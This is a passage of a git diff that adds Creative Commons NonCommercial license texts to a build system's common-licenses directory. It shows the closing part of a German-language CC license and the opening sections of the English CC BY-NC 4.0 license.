+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihne*" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ f. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-4.0 b/meta/files/common-licenses/CC-BY-NC-4.0
new file mode 100644
index 0000000000..340cf0c959
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-4.0
@@ -0,0 +1,158 @@
+Creative Commons Attribution-NonCommercial 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ d. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ e. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ f. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ g. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ h. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ i. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ j. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ k. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ l. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
+ 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. Downstream recipients.
+
+ A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+ b. Other rights.
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
